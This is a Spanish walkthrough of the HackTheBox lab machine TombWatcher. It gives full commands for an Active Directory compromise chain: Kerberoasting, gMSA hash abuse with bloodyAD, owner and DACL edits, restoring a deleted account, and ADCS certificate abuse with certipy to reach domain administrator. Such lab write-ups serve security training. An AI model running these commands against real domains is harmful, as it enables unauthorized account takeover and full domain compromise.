HackTheBox TombWatcher
Como es común en las pruebas de penetración de Windows en la vida real, iniciará el cuadro TombWatcher con las credenciales para la siguiente cuenta --> henry / H3nry_987TGV!

Observamos los puertos abiertos en el Host.

Versiones y servicios que corren para cada puerto.
Ldapsearch

Verificamos el dominio y lo agregamos al /etc/hosts.
Bloodhound

Recolectamos toda la información (
-c All
) del dominiotombwatcher.htb
usando el usuariohenry
para generar un ZIP compatible con BloodHound

El usuario HENRY@TOMBWATCHER.HTB tiene la capacidad de escribir en el atributo "serviceprincipalname" del usuario ALFRED@TOMBWATCHER.HTB.
Kerberoasting Attack

El comando
impacket-GetUserSPNs
se usa para enumerar los Service Principal Names (SPNs) en un dominio de Active Directory, lo cual puede revelar cuentas de usuario asociadas a servicios que son vulnerables a ataques de tipo Kerberoasting. En este caso, se está autenticando con el usuariohenry
del dominiotombwatcher.htb
usando su contraseña (H3nry_987TGV!
), con Kerberos (-k
) y especificando el controlador de dominio (-dc-host
). La opción-request
descarga los tickets TGS, que luego pueden ser crackeados offline para obtener contraseñas.

Crackeamos el hash y obtenemos la contraseña del usuario ALFRED@TOMBWATCHER.HTB y ahora hemos se podria decir pivotado al usuario Alfred.
Bloodhound

Tenemos un camino mas claro de como llegar al DC01 Ahora.

El usuario ALFRED@TOMBWATCHER.HTB puede agregarse al grupo INFRASTRUCTURE@TOMBWATCHER.HTB. Gracias a la delegación del grupo de seguridad, los miembros de un grupo de seguridad tienen los mismos privilegios que ese grupo.
Al agregarse al grupo, ALFRED@TOMBWATCHER.HTB obtendrá los mismos privilegios que INFRASTRUCTURE@TOMBWATCHER.HTB.
ANSIBLE_DEV$@TOMBWATCHER.HTB es una Cuenta de Servicio Administrada por Grupo. El grupo INFRASTRUCTURE@TOMBWATCHER.HTB puede recuperar la contraseña de la GMSA ANSIBLE_DEV$@TOMBWATCHER.HTB.
Las Cuentas de Servicio Administradas por Grupo son un tipo especial de objeto de Active Directory, donde la contraseña de dicho objeto es administrada y cambiada automáticamente por los Controladores de Dominio a intervalos establecidos (consulte el atributo MSDS-ManagedPasswordInterval).
El propósito de una GMSA es permitir que ciertas cuentas de equipo recuperen la contraseña de la GMSA y luego ejecuten servicios locales como si fuera la GMSA. Un atacante con el control de una entidad principal autorizada podría abusar de ese privilegio para suplantar la identidad de la GMSA.
Se nos recomienda usar la siguiente herramienta.
BlodiAD

bloodyAD -u 'ansible_dev$' -p ':1c37d00093dc2a5f25176bf2d474afdc' -d tombwatcher.htb --dc-ip 10.10.11.72 set password sam 'Summer2024!'
Perfect hemos cambiado la contraseña del usuario
sam
exitosamente usando una cuenta de máquina (ansible_dev$
) y su hash NTLM, lo cual sugiere que tienes privilegios elevados o hay una configuración insegura en el dominio.

impacket-owneredit -action write -target 'john' -new-owner 'sam' 'tombwatcher.htb'/'sam':'Summer2024!' -dc-ip 10.10.11.72
El usuario SAM@TOMBWATCHER.HTB puede modificar el propietario del usuario JOHN@TOMBWATCHER.HTB.
Los propietarios de objetos conservan la capacidad de modificar los descriptores de seguridad de los objetos, independientemente de los permisos en la DACL del objeto.
Hemos tomado control completo sobre john

dacledit.py -action write -rights FullControl -principal "sam" -target-dn "CN=john,CN=Users,DC=tombwatcher,DC=htb" 'tombwatcher.htb/sam:Summer2024!' -dc-ip 10.10.11.72
¡Perfecto! El mensaje:
cssCopiarEditar[*] DACL backed up to dacledit-20250608-172807.bak [*] DACL modified successfully!
indica que la operación de modificar los permisos del objeto
"CN=john,CN=Users,DC=tombwatcher,DC=htb"
para darle FullControl a"sam"
se realizó con éxito.

bloodyAD -d tombwatcher.htb -u 'sam' -p 'Summer2024!' --dc-ip 10.10.11.72 set password john 'NewPa$$word'
Ahora como el usuario sam tiene full control sobre el usuario john, como sam le cambiamos la contraseña al usuario john.
Acceso

Estamos dentro de la maquina y hemos obtenido la primera bandera.

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Enable-ADAccount -Identity cert_admin
Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force)
1- Listamos usuarios eliminados en ADpowershellCopiarEditarGet-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Muestra todos los objetos (usuarios, grupos, etc.) que están marcados como eliminados pero que aún están en la base de datos (en el contenedor
Deleted Objects
).Estos objetos no están activos pero pueden ser recuperados si el AD tiene habilitado el Recycle Bin.
2- Restauramos un usuario eliminadopowershellCopiarEditarRestore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Recupera el objeto borrado (en este caso, el usuario
cert_admin
) con eseObjectGUID
.Lo mueve de nuevo al contenedor activo (
CN=Users,...
) y lo deja "visible" y activo en el dominio.
3. Habilitamos la cuenta restauradapowershellCopiarEditarEnable-ADAccount -Identity cert_admin
Activa la cuenta, porque al estar borrada o deshabilitada, no puede usarse.
Esto permite que el usuario pueda iniciar sesión.
4. Cambiamo la contraseña de la cuentapowershellCopiarEditarSet-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "P@ssword123!" -AsPlainText -Force)
Restablece la contraseña de la cuenta restaurada.
Usa una nueva contraseña en texto plano convertida a un formato seguro.
Esto es importante para asegurarte que puedes iniciar sesión con esa cuenta
Certipy-AD

Ahora con el usuario y contraseña restaurada buscamos certificados vulberables.

Comando 1: Solicitamos un certificadobashCopiarEditarcertipy req -dc-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -target-ip 10.10.11.72 -u cert_admin@tombwatcher.htb -p'P@ssword123!' -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Client Authentication'
Solicita un certificado para el usuario administrator@tombwatcher.htb desde la CA
tombwatcher-CA-1
en el DC10.10.11.72
.Usa las credenciales de
cert_admin
.Guarda el certificado y clave en
administrator.pfx
.
Comando 2: Nos Autenticamos con el certificadobashCopiarEditarcertipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell
Usa el certificado
administrator.pfx
para autenticarse en el DC por LDAP.Abre un shell LDAP con privilegios de administrador.
Acción dentro del shell:bashCopiarEditarchange_password Administrator NewP@ssw0rd123
Cambia la contraseña del usuario Administrator.

Nos logueamos con las credenciales que hemos seteado en el paso anterior, y maquina resuelta, somos Administrador del sistema.
Última actualización